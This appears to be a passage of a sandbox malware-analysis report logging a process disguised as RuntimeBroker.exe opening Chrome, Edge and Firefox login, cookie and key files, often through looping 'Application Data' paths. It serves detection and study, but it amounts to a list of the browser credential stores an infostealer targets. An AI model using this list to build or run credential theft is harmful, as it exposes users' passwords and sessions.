Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
